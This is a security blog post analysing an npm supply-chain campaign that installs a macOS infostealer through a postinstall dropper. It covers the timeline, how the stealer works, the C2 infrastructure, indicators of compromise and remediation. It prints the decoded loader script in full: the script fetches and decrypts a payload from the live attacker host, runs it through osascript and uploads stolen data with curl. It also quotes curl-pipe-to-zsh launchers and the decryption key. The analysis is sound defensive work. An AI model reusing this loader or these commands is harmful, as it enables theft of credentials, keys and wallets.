---
title: "@copilot-mcp/apex: A macOS Infostealer Re-Published on npm After Takedown"
description: "The npm security team removed the original @apexfdn/apex package for malicious code, and the operator re-published the same postinstall macOS infostealer as @copilot-mcp/apex about 11 hours later. It targets Web3 founders and developers, stealing browser data, 20+ crypto wallets, and SSH/AWS/Kubernetes credentials via osascript and curl|zsh, and phones home to a live command-and-control server every 60 seconds. npm has since removed the re-published package too, but the GitHub binaries and C2 infrastructure remain live."
url: "https://safedep.io/blog/malicious-copilot-mcp-apex-npm-macos-infostealer"
author: "Kunal Singh"
published: "2026-07-22"
---

# @copilot-mcp/apex: A macOS Infostealer Re-Published on npm After Takedown

> **Resolution / Status:** The npm security team already removed the original dropper, `@apexfdn/apex`, and replaced it with a `0.0.1-security` placeholder that states outright the package "contained malicious code." The operator re-published the same dropper under a new scope, `@copilot-mcp/apex`, about 11 hours later, and pushed 20+ versions (`1.0.0` through `1.0.22`+) within about 8 hours. **Update:** npm has since removed `@copilot-mcp/apex` as well; the package now returns "Not found" on the registry. The takedown does not close the campaign: the GitHub org, both repositories, the downloadable binaries, and the command-and-control server at `apex-arena-router.com` are all still live and responding as of this update, and the cover package `@apexfdn/copilot-mcp` remains published and unaffected.

## TL;DR

`@copilot-mcp/apex` is a postinstall dropper that installs a macOS infostealer on any machine that runs `npm install` or `npx @copilot-mcp/apex`. It is not a first attempt. npm's security team already removed the same code once, published under the name `@apexfdn/apex`, and the operator answered by moving the dropper to a new scope rather than stopping. The campaign runs three npm-adjacent surfaces built by one operator:

| Package / vector                    | Role                                          | Status                                                            |
| ----------------------------------- | --------------------------------------------- | ----------------------------------------------------------------- |
| `@apexfdn/apex`                     | Original postinstall dropper                  | Removed by npm; now a `0.0.1-security` placeholder                |
| `@copilot-mcp/apex`                 | Same dropper, re-published under a new scope  | Also removed by npm as of this update; GitHub binaries still live |
| `@apexfdn/copilot-mcp`              | The advertised MCP server ("diligence tools") | Payload-free, but same-operator front; still live on npm          |
| `arena.apexfdn.xyz/api/copilot/mcp` | Hosted remote MCP endpoint (Bearer token)     | No-install vector, sends tokens to attacker infra                 |

On macOS, the dropper's second stage decrypts and runs an AppleScript payload through `osascript`. The decrypted payload is a 707-line AMOS-family stealer: it phishes the login password through a fake system prompt, then harvests browser credentials, 20+ crypto wallets, SSH keys, AWS and Kubernetes credentials, the login Keychain, Telegram, and shell history into `/tmp/osalogging.zip` and uploads it over chunked HTTPS PUT to attacker infrastructure. A LaunchAgent left behind after the run polls the attacker's command-and-control server every 60 seconds, so the infection outlives the initial exfiltration. The lure targets Web3 and crypto founders with a "free LLM credits" AI-advisor pitch.

**Impact:**

- Runs on `npm install` or `npx`, with no user interaction beyond the install itself
- Downloads a ~120-150MB platform binary from a GitHub repo different from the one the package advertises as its source, pinned to a static release tag so the payload can be swapped server-side without a new npm publish
- On macOS, phishes the login password through a fake system dialog, then steals browser credentials and cookies from 13 Chromium-based and 4 Gecko-based browsers plus Safari, 20+ desktop crypto wallets and 100+ wallet browser extensions, SSH keys, AWS and Kubernetes credentials, the login Keychain, Telegram, Apple Notes, and shell history, grabs documents and key/certificate files from Desktop/Documents/Downloads, fingerprints the machine (model, chip, serial, UUID, SIP status), and exfiltrates everything as `/tmp/osalogging.zip` over HTTPS
- Installs a LaunchAgent disguised as "System Notifications" that polls a live command-and-control endpoint every 60 seconds, so the malware is a standing backdoor, not a one-shot theft
- Already survived one npm takedown: removed as `@apexfdn/apex`, live again as `@copilot-mcp/apex` within 11 hours; npm has since removed that re-publish too, but the GitHub org, binaries, and C2 server remain live
- On Linux and Windows the macOS theft path does not fire, but `postinstall` still executes an unreviewed downloaded binary; the campaign is not safe on any platform

**Indicators of Compromise (IoC):**

| Indicator                                        | Value                                                                                                                                                                                                                                                                                                                    |
| ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| npm package (malicious, removed by npm)          | `@copilot-mcp/apex`, versions `1.0.0`-`1.0.22`+; registry now returns "Not found"                                                                                                                                                                                                                                        |
| npm package (malicious, removed by npm, earlier) | `@apexfdn/apex`, 34 versions published since 2026-07-05, now a `0.0.1-security` placeholder                                                                                                                                                                                                                              |
| npm package (same-operator front)                | `@apexfdn/copilot-mcp`, still live                                                                                                                                                                                                                                                                                       |
| Hosted remote-MCP endpoint                       | hxxps://arena[.]apexfdn[.]xyz/api/copilot/mcp (Bearer token)                                                                                                                                                                                                                                                             |
| C2 / exfil domain                                | update[.]apex-arena-router[.]com                                                                                                                                                                                                                                                                                         |
| C2 server IP / hosting                           | 172.93.185.150, xTom GmbH (AS3214), Frankfurt am Main, Germany                                                                                                                                                                                                                                                           |
| C2 stack                                         | Caddy reverse proxy in front of Uvicorn/FastAPI; wildcard Let's Encrypt cert for `*.apex-arena-router.com`; `/openapi.json` publicly exposes the full API schema                                                                                                                                                         |
| C2 endpoints (unauth or upload-token gated)      | `/loader.sh`, `/payload.enc`, `/v1/asset/{id}/init` (POST), `/v1/asset/{id}` (PUT), `/v1/asset/{id}/segment/{n}` (PUT), `/v1/agent/ping` (GET, live command polling), `/v1/capture` (POST, no auth)                                                                                                                      |
| C2 admin endpoints (X-Internal-Key gated)        | `/status`, `/register`, `/subdomain/{slug}` (DELETE) — schema suggests a multi-tenant panel that provisions a subdomain per campaign                                                                                                                                                                                     |
| Dropped file                                     | /tmp/osalogging.zip                                                                                                                                                                                                                                                                                                      |
| Staging directory                                | /tmp/sync\<random\>/                                                                                                                                                                                                                                                                                                     |
| Persistence                                      | LaunchAgent `~/Library/LaunchAgents/com.system.notifications.agent.plist` (label `com.system.notifications.agent`, `StartInterval` 60s), running a fake app bundle at `~/Library/Application Support/System/System Notifications.app` (bundle ID `com.system.notifications.helper.bld013`), registered with `lsregister` |
| Encrypted stealer payload                        | `payload.enc`, SHA256 `ecd1113fae1ede9869afd9d1af612bab7f1a2054e5c45a346e18c107c22b9164` (AES-256-CBC, SHA-256 key derivation, key = upload token)                                                                                                                                                                       |
| AES-256 key / upload token                       | 5c6f24c905ae3883355a26fceac3dda0d0dfe67ba8e1220ebe784a29544c6ee4                                                                                                                                                                                                                                                         |
| GitHub org / repos                               | `Apex-Foundation` (org, created 2026-04-30); `Apex-Foundation/copilot`, weaponized, a fork of `can1357/oh-my-pi`; `Apex-Foundation/copilot-mcp`, the advertised (clean) source; `awesome-mcp-servers`, `awesome-crypto-mcp-servers`, `awesome-mcp-servers2` (zero-star SEO padding)                                      |
| GitHub user (repo owner)                         | `apexfdn`, created 2025-10-13, profile location "Lodnon" [sic]                                                                                                                                                                                                                                                           |
| Release assets                                   | `apex-linux-x64`, `apex-darwin-arm64`, `apex-darwin-x64`, `apex-windows-x64`, `apex-helper-darwin`, `apex-auth-darwin`, `pi_natives.win32-x64-baseline.node`                                                                                                                                                             |
| npm accounts                                     | `copilotapex`, `apex-fdn`                                                                                                                                                                                                                                                                                                |
| Emails                                           | chefkecharlie[at]gmail[.]com, arena[at]apexfdn[.]xyz, contact[at]apexfdn[.]xyz                                                                                                                                                                                                                                           |
| Related domains                                  | apexfdn[.]xyz, arena[.]apexfdn[.]xyz, docs[.]apexfdn[.]xyz                                                                                                                                                                                                                                                               |
| Cover metadata (legitimate, not attacker infra)  | `omp.sh`, the real homepage of `oh-my-pi`, referenced in package metadata as cover                                                                                                                                                                                                                                       |
| Social                                           | Telegram `@charlereum`, `@apex_accelerator`; X `@AcceleratorApex`; Medium `@ApexAccelerator`; Crunchbase `apexfdn`                                                                                                                                                                                                       |
| Tarball SHA1                                     | `1.0.0`: `233f90180b529aa32911901e5222e9ed9c3cd24c`; `1.0.19`: `3b9a880ae4e1c5b7bbd68e118a1c3c8b592f7bfb`                                                                                                                                                                                                                |

## Analysis

### A campaign built on an aged, legitimate-looking brand

The GitHub org `Apex-Foundation` and the package `@apexfdn/copilot-mcp` v0.1.0 both appeared on 2026-04-30. For about three months, `@apexfdn/copilot-mcp` operated as ordinary open source: badges, a Glama listing score, a "privacy contract" section in its docs, and around 229 downloads a week. None of that code is malicious. Its job was to make the brand look established before the dropper arrived.

The dropper rides that brand two ways. First, through naming: the scope `@copilot-mcp` borrows the credibility of GitHub Copilot without belonging to GitHub. Second, through the tool itself: the binary the dropper installs comes from `Apex-Foundation/copilot`, a fork of `can1357/oh-my-pi`, a real coding agent by Can Boluk and Mario Zechner. The fork gives victims a working AI coding tool, which is what makes the install look successful and removes any reason to look closer.

The pitch is "Apex Foundation," a Web3 founder AI advisor offering free Claude and Gemini credits, hosted at `arena.apexfdn.xyz/dashboard/copilot`. Crypto founders are the target audience: high-value victims who hold wallets and API keys worth stealing.

| When (UTC)               | Event                                                                                          |
| ------------------------ | ---------------------------------------------------------------------------------------------- |
| 2026-04-30 23:03         | GitHub org `Apex-Foundation` and `@apexfdn/copilot-mcp` v0.1.0 created, the payload-free cover |
| 2026-07-05 11:53         | First dropper version, `@apexfdn/apex` `1.0.0`, published to npm                               |
| 2026-07-05 – 2026-07-21  | 33 more versions ship under `@apexfdn/apex`, live on npm for roughly two and a half weeks      |
| 2026-07-21 21:00         | npm security team removes `@apexfdn/apex` for malicious code                                   |
| 2026-07-22 08:04         | Operator re-publishes the same dropper as `@copilot-mcp/apex`                                  |
| 2026-07-22 08:04-16:48   | 20+ versions (`1.0.0`-`1.0.22`+) ship, A/B-testing the macOS launcher                          |
| 2026-07-22 (after 17:53) | npm removes `@copilot-mcp/apex` as well; registry lookups return "Not found"                   |

### Takedown and re-publish

npm's own security team confirms the verdict. The `0.0.1-security` placeholder that now occupies `@apexfdn/apex` reads verbatim: _"This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future."_ The npm registry's own version history shows the dropper wasn't a same-day catch: `@apexfdn/apex` published its first version on 2026-07-05 and shipped 33 more before npm acted on 2026-07-21, meaning the package sat installable for about two and a half weeks before removal. Whether every one of those versions carried the malicious `postinstall` isn't something the security placeholder discloses, but the takedown clearly came well after the package's initial publish, not immediately after it.

The operator's response took about 11 hours: publish the identical dropper under `@copilot-mcp/apex`. The move doubles as rebranding, since the new scope trades on GitHub Copilot's name where the old one traded on the operator's own. That republish has since been removed by npm too, confirmed by the registry returning "Not found" for the package, so the name-and-resubmit cycle has now run twice.

The GitHub repository at `Apex-Foundation/copilot` never caught up. Its README still tells users to run `npx @apexfdn/apex`, the name npm already removed. The same README documents a second, no-install vector: a hosted remote MCP server at `https://arena.apexfdn.xyz/api/copilot/mcp` that a client reaches with a Bearer token instead of installing anything. The stale instructions confirm the republish happened faster than the documentation, and the hosted endpoint means the campaign does not depend on npm distribution at all — a fact reinforced by both npm packages now being gone while the GitHub binaries and hosted MCP endpoint still respond.

### The two package roles, same operator

`@copilot-mcp/apex` and `@apexfdn/copilot-mcp` look like two different projects. They are run by one operator. The dropper's maintainer email is `arena@apexfdn.xyz`; the cover package's maintainer email is `contact@apexfdn.xyz`, same domain. Both point to the same GitHub repo home and the same homepage, `arena.apexfdn.xyz/dashboard/copilot`. The exfil domain `apex-arena-router.com` reuses the brand's own "apex arena" identity rather than picking an unrelated name. And the dropper's `apex.cjs --mcp-stdio` code path launches `@apexfdn/copilot-mcp` directly, a flow that only works if the same party controls both packages.

That link is invisible to a lockfile or SBOM. `@apexfdn/copilot-mcp` is not declared as a dependency of `@copilot-mcp/apex`; the dropper reaches it at runtime through `require.resolve` and `npx`, so nothing in `package.json` shows the connection. A scanner that only reads declared dependencies sees one isolated package.

Neither package impersonates the other. What both packages impersonate are two real projects: GitHub Copilot, through the `@copilot-mcp` scope name, and `oh-my-pi`, through the forked repo, the `omp.sh` homepage reference, and the author/contributor fields borrowed from its real maintainers.

`@apexfdn/copilot-mcp` itself contains no malicious code. It is not, for that reason, a safe or independent package. It forwards a user's token and extracted document excerpts to `arena.apexfdn.xyz`, the operator's own domain. Treat it as attacker-controlled infrastructure rather than a clean alternative.

### The postinstall dropper chain

`@copilot-mcp/apex` declares `"postinstall": "node install.cjs"`, which npm runs on install with no prompt. `install.cjs` downloads a platform-specific binary, 120-150MB, from `Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>` and marks it executable.

The source you can read is not the code that runs. The package's `repository` field points at `Apex-Foundation/copilot-mcp`, benign TypeScript that anyone can review on GitHub. The binary comes from a different repository, `Apex-Foundation/copilot`, the `oh-my-pi` fork. Reading the advertised source tells a reviewer nothing about what the installed binary does.

`install.cjs` hardcodes `RELEASE_VERSION` to `'1.0.0'`, so every npm version published so far, `1.0.0` through `1.0.22`, fetches from the same GitHub release tag. That release's assets were re-uploaded at 16:46 UTC, after several of those npm publishes had already gone out. The operator can replace the binary on GitHub without touching npm at all; the npm tarball stays static and keeps looking clean under review, while the thing it downloads changes underneath it. A bundled `.sha256` check verifies that the download was not corrupted in transit. It says nothing about who built the file, and provides no authenticity guarantee.

On Windows, the same installer pulls a native addon, `pi_natives.win32-x64-baseline.node`, from the same release. `apex.cjs` later runs the downloaded binary; its `--mcp-stdio` mode shells out to the clean `@apexfdn/copilot-mcp` cover, which is why the tool appears to work.

This analysis did not reverse-engineer the large platform binary itself; it is a repackaged `oh-my-pi` used as functional cover, and no confirmed malicious code was found inside it beyond the postinstall behavior described here. That is not a clearance. `install.cjs` fetches and executes it with no verification of who built it, on Linux and Windows as well as macOS, so running the package is unsafe on every platform regardless of what the binary itself does.

### The macOS stealer: loader.sh

The macOS payload is a `#!/bin/zsh` script whose body is a single base64 blob, decoded here without ever piping it to a shell:

```zsh
#!/bin/zsh
daemon_function() {
    exec </dev/null; exec >/dev/null; exec 2>/dev/null           # silence + detach
    local host="https://update.apex-arena-router.com"
    local upload_token="5c6f24c905ae3883355a26fceac3dda0d0dfe67ba8e1220ebe784a29544c6ee4"
    local file="/tmp/osalogging.zip"
    local url_payload="https://update.apex-arena-router.com/payload.enc"
    local url_upload_base="https://update.apex-arena-router.com/v1/asset"

    # fetch encrypted payload -> AES-256-CBC decrypt (key = upload_token) -> run via osascript
    curl -fsSL --max-time 60 -H "User-Agent: Mozilla/5.0 ..." "${url_payload}" \
        | openssl enc -aes-256-cbc -d -pass pass:"${upload_token}" 2>/dev/null | osascript
    [ $? -ne 0 ] && return 1
    [[ ! -f "$file" || ! -s "$file" ]] && return 1
    /usr/bin/zip -T "$file" >/dev/null 2>&1 || return 1

    # exfiltrate /tmp/osalogging.zip: POST init, then PUT with up to 8 retries
    local total_size file_sha upload_id ok=0 attempt=1 http_code
    total_size=$(stat -f %z "$file" 2>/dev/null || stat -c %s "$file")
    file_sha=$(shasum -a 256 "$file" | awk '{print $1}')
    upload_id="$(date +%s)-${RANDOM}-$$"
    curl -fsS -X POST "${url_upload_base}/${upload_id}/init" -H "X-Upload-Token: ${upload_token}" \
        -H "X-File-Size: ${total_size}" -H "X-File-Sha256: ${file_sha}" --max-time 30 >/dev/null || return 1
    while (( attempt <= 8 && ok == 0 )); do
        http_code=$(curl -fsS -X PUT --data-binary @"$file" -H "X-Upload-Token: ${upload_token}" \
            -H "X-File-Size: ${total_size}" -H "X-File-Sha256: ${file_sha}" --max-time 600 \
            -o /dev/null -w "%{http_code}" "${url_upload_base}/${upload_id}" 2>/dev/null)
        [[ "$http_code" =~ ^2 ]] && ok=1 || ((attempt++))
        (( ok == 0 && attempt <= 8 )) && sleep 5
    done
    (( ok == 1 )) || return 1
    rm -f "$file"; return 0                                        # anti-forensics cleanup
}
if daemon_function "$@" &; then exit 0; else exit 1; fi
```

The AES key and the "upload token" sent back in every exfil request are the same string. The script fetches `payload.enc`, decrypts it with that key, and pipes the plaintext into `osascript`, an in-memory AppleScript/JXA stage never written to disk as a separate file. That stage produces `/tmp/osalogging.zip`, which the script then uploads in a POST-init-then-PUT sequence with up to eight retries before deleting the file.

### The stealer payload: what it steals

`payload.enc` uses the same key the loader prints, the `upload_token`, so we decrypted it offline: `openssl enc -aes-256-cbc -d -md sha256 -pass pass:<token>`, output written to a file, never piped to `osascript`. It decrypts to a 707-line AppleScript from the AMOS ("Atomic Stealer") family. The script runs the theft the loader only sets up.

The script takes the victim's login password first. It shows a native-looking prompt, "Please enter your password to continue," titled "macOS" with the system lock icon, and loops until the entry validates against the real account through `dscl . authonly`, with a 150-second timeout per attempt. It saves that password to an internal variable and reuses it to unlock the login Keychain, from which it pulls the Safe Storage encryption keys that decrypt Chromium-family browser cookies and saved passwords.

It then stages everything under `/tmp/sync<random>/` and collects:

- Cookies, autofill, saved passwords, and the Local State decryption keys from 13 Chromium-based browsers: Chrome (plus Beta, Canary, and Dev channels), Chromium, Brave, Edge, Opera, Opera GX, Vivaldi, Yandex, Arc, and CocCoc
- The equivalent data from 4 Gecko-based browsers, Firefox, Zen, LibreWolf, and Waterfox: `key4.db`, `logins.json`, `cookies.sqlite`, `formhistory.sqlite`, `places.sqlite`, and `cert9.db`
- Browser-extension wallets across 100+ known extension IDs, plus Safari cookies
- 20+ desktop crypto wallets, including Exodus, Electrum, Atomic, Guarda, Coinomi, Sparrow, Wasabi, Ledger Live, Trezor Suite, Trust Wallet, Zengo, BlueWallet, Armory, Electron Cash, Monero, and the Bitcoin, Litecoin, Dogecoin, and Dash Core clients
- SSH keys (`~/.ssh`), AWS credentials (`~/.aws`), and Kubernetes configs (`~/.kube`), none of which are crypto-specific — this reaches any developer or DevOps machine the malware lands on, not just Web3 wallets
- The login Keychain (all `*.keychain-db` files), iCloud keys, Apple Notes, and the full Telegram Desktop `tdata` session directory
- A file grabber that scans Desktop, Documents, and Downloads for `.pdf`, `.docx`, `.doc`, `.wallet`, `.key`, `.pem`, and `.ovpn` files, capped at 10MB per file
- Shell history and configuration: `.zshrc`, `.zsh_history`, `.bash_history`, `.gitconfig`
- A system-recon snapshot: hardware/software profile (model, chip, serial number, hardware UUID, SIP status, firmware version), the running process list, and installed/running applications

For persistence, it drops a gzip-compressed, fake application bundle to `~/Library/Application Support/System/System Notifications.app` (bundle ID `com.system.notifications.helper.bld013`), registers it with Launch Services via `lsregister`, and installs a LaunchAgent at `~/Library/LaunchAgents/com.system.notifications.agent.plist` with a 60-second `StartInterval`. That LaunchAgent is not just persistence bookkeeping: it polls the attacker's `/v1/agent/ping` endpoint on the same C2 host every 60 seconds, so an infected machine keeps checking in for follow-on commands long after the original `npm install` finished.

Finally, it archives the staging directory with `ditto -c -k --sequesterRsrc <dir> /tmp/osalogging.zip` and clears `/tmp/sync*`. That archive is the same `/tmp/osalogging.zip` the loader uploads, which closes the chain from `npm install` to loader to stealer to exfiltration.

### Live delivery-technique evolution

The stealer daemon above has not changed across versions. The launcher that starts it has, and the operator appears to be testing which version evades detection best:

| Version           | Launcher                                                                                                          | Technique                                                                                                                                                                            |
| ----------------- | ----------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `1.0.0`           | Inline `/bin/zsh -c 'curl -fsSL .../loader.sh \| zsh'`                                                            | Direct one-liner, shown with a "your Mac may ask for your password" prompt                                                                                                           |
| `1.0.19`          | Downloads `apex-helper-darwin` (~63MB) from the GitHub release, `chmod 0755`, runs it via `spawnSync`, deletes it | Moves the same logic into a compiled helper to dodge static detection of a `curl \| zsh` string                                                                                      |
| `1.0.21`-`1.0.22` | `osascript -e 'do shell script "curl -fsSL .../loader.sh \| zsh"'`                                                | Triggers macOS's native password dialog; `1.0.22` runs it `detached: true`, `stdio: 'ignore'`, `ps.unref()`, so it survives after the install returns and produces no visible output |

Twenty or more versions shipped within about 8 hours on 2026-07-22, and the package kept bumping during this analysis. No published version is safe. The operator keeps iterating, so blocking should target the package name, not a version range.

### Hunting the campaign

Two ownership pivots bounded the scope: npm's `maintainer:copilotapex` and `maintainer:apex-fdn` searches, and the authoritative org-ownership listings for the `copilot-mcp` and `apexfdn` npm orgs. Both returned the same two live packages and nothing else. The GitHub org `Apex-Foundation` holds five repositories and one member; three are `awesome-*` repos that pad legitimacy and SEO, `copilot-mcp` is the clean cover source, and only `copilot` (the `oh-my-pi` fork) carries the weaponized binary.

A web search for the C2 domain and the package name returned nothing. The package was about eight hours old at the time of the search, and threat-intel indexes and blog coverage lag behind a same-day drop by days or weeks. A broader npm text sweep across the campaign's own vocabulary (apex, web3, founder, diligence, copilot, arena, solidity) and its impersonated identity (`oh-my-pi`, `omp.sh`) surfaced only the legitimate `oh-my-pi` ecosystem and unrelated projects. No third live package matched the fingerprint.

One limitation deserves a direct statement. The org-ownership listing missed `@apexfdn/apex`, because npm had already seized the name and transferred it to `npm-support` once the package was removed. Ownership queries only see what an account currently owns, not what has already been taken down, so they undercount removed siblings. The name `@apexfdn/apex` surfaced only because the attacker's own GitHub README still referenced it. Pivoting on attacker-authored docs and removed-package placeholders catches what live ownership records miss.

A second limitation has no workaround from search alone: npm's registry search does not index install-script code or `postinstall` behavior. It cannot find a sibling published under an unrelated, unknown account that reuses the same payload but ships under a different name. Finding that kind of sibling needs code- or behavior-level scanning across the registry, not metadata search.

### The command-and-control server is a live, multi-tenant panel

The C2 host, `update.apex-arena-router.com`, resolves to `172.93.185.150`, hosted by xTom GmbH (AS3214) in Frankfurt, Germany, behind a Caddy reverse proxy in front of a Uvicorn-served FastAPI application, secured with a wildcard Let's Encrypt certificate for `*.apex-arena-router.com`. The operator left `/openapi.json` reachable with no authentication, and that file discloses the application's entire route table:

| Endpoint                                      | Method   | Auth                     | Purpose                                                       |
| --------------------------------------------- | -------- | ------------------------ | ------------------------------------------------------------- |
| `/status`                                     | GET      | `X-Internal-Key` (admin) | Panel status                                                  |
| `/register`                                   | POST     | `X-Internal-Key` (admin) | Register a new campaign/subdomain                             |
| `/subdomain/{slug}`                           | DELETE   | `X-Internal-Key` (admin) | Remove a campaign                                             |
| `/v1/asset/{upload_id}/init`                  | POST     | `X-Upload-Token`         | Initialize an exfil upload                                    |
| `/v1/asset/{upload_id}`                       | PUT      | `X-Upload-Token`         | Receive a stolen-data archive                                 |
| `/v1/asset/{upload_id}/segment/{chunk_index}` | PUT      | `X-Upload-Token`         | Receive a chunked upload segment                              |
| `/v1/agent/ping`                              | GET      | `X-Upload-Token`         | Persistence agent check-in / command polling                  |
| `/v1/capture`                                 | POST     | None                     | Unauthenticated capture sink, accepts arbitrary POST data     |
| `/{path}`                                     | GET/HEAD | None                     | Static file serving (`loader.sh`, `payload.enc`, and similar) |

The `/register` request schema (`RegIn`) accepts a `slug`, `build_id`, static `files`/`files_b64`, `meta`, and an `upload_token`, which points to a multi-tenant design: the operator can spin up a new subdomain and a fresh upload token per campaign from one panel, reusing the same backend and wildcard certificate. `/v1/agent/ping` is live and functioning as a command channel, not just a heartbeat: a GET request with the malware's own upload token returns `{"cmd":"idle"}`, confirming the LaunchAgent's 60-second poll is checking in with a real, responsive command endpoint. `/v1/capture` accepts unauthenticated POST data and returns an acknowledgement, a second, looser collection path with no token requirement at all. The admin routes (`/status`, `/register`, `/subdomain/{slug}`) are gated behind a separate `X-Internal-Key` that is not the same value as the upload token embedded in the malware, so the campaign's roster of victims and other tenant subdomains is not something the exposed schema hands over.

GitHub's own release-asset download counters give a narrow, verifiable read on scale, with a hard caveat: the `Apex-Foundation/copilot` release backing the current binaries was created and its assets re-uploaded on 2026-07-22, so any counts reflect only downloads since that point, not the roughly two and a half weeks `@apexfdn/apex` was separately live on npm beforehand. Within that narrow window, the macOS ARM64 asset shows a single download, Linux x64 shows a handful, and Windows x64 shows one — consistent with a campaign that is still in its early, low-volume hours under the current binary, not a measure of total victims across the whole campaign's lifetime.

## Detection with vet

[`vet`](https://github.com/safedep/vet) runs malicious-package analysis that inspects install-script and runtime behavior alongside code content, not just package metadata. That matters for this campaign: the traits that make `@copilot-mcp/apex` malicious are a `postinstall` hook downloading a platform binary from a GitHub release URL, a macOS-gated branch that pipes `curl` into `zsh` or shells out through `osascript`, AES-encrypted payload fetches, and writes to `/tmp/*.zip` followed by an HTTP upload. None of that shows up by reading the package name or the version number, and none of it changes when the operator republishes under a new scope. Behavior-based analysis flags the pattern independent of which name or version it currently wears.

## Remediation

1. Do not install `@copilot-mcp/apex` or `@apexfdn/apex` at any version, even though npm has now removed both. Block the package names outright, since the operator has already republished once and the GitHub binaries behind them are still live.
2. Block `update.apex-arena-router.com` and the `apexfdn.xyz` domain family at DNS, proxy, or EDR.
3. Treat `@apexfdn/copilot-mcp` and the hosted `arena.apexfdn.xyz/api/copilot/mcp` MCP endpoint as attacker infrastructure, not as a safe alternative.
4. If the package ran on a Mac, assume compromise. Check for `/tmp/osalogging.zip`, a `~/.apex/` directory, the LaunchAgent at `~/Library/LaunchAgents/com.system.notifications.agent.plist`, and the fake app bundle at `~/Library/Application Support/System/System Notifications.app`. Kill and remove the LaunchAgent first, since it actively polls the attacker's C2 for commands every 60 seconds. Then rotate browser-saved credentials, SSH keys, AWS and Kubernetes credentials, cloud and API tokens, and crypto wallet seed phrases.

## Conclusion

npm's removal of `@apexfdn/apex` is proof the takedown worked, and proof it was not enough. The operator kept the payload, kept the infrastructure, and only changed the name, moving from a domain it built for three months to a scope that borrows GitHub Copilot's name instead. Twenty-plus version bumps in a single day show a team still tuning the macOS launcher rather than one that walked away after getting caught. npm has since taken down that second package too, but the GitHub org, the weaponized binary, the hosted MCP endpoint, and a live, multi-tenant command-and-control panel behind it are all still reachable — the operator lost two package names and kept everything that matters.

Package-name takedowns remove a symptom. The dropper, the AES key, the C2 domain and its still-live command channel, and the `oh-my-pi` fork it repackages are the disease, and all of them remain active as of this writing even with both npm packages gone. Anyone who scans dependencies by name and version history will miss the resubmission, and will miss it again the next time the operator picks a third scope. Anyone who scans install-script behavior will not.
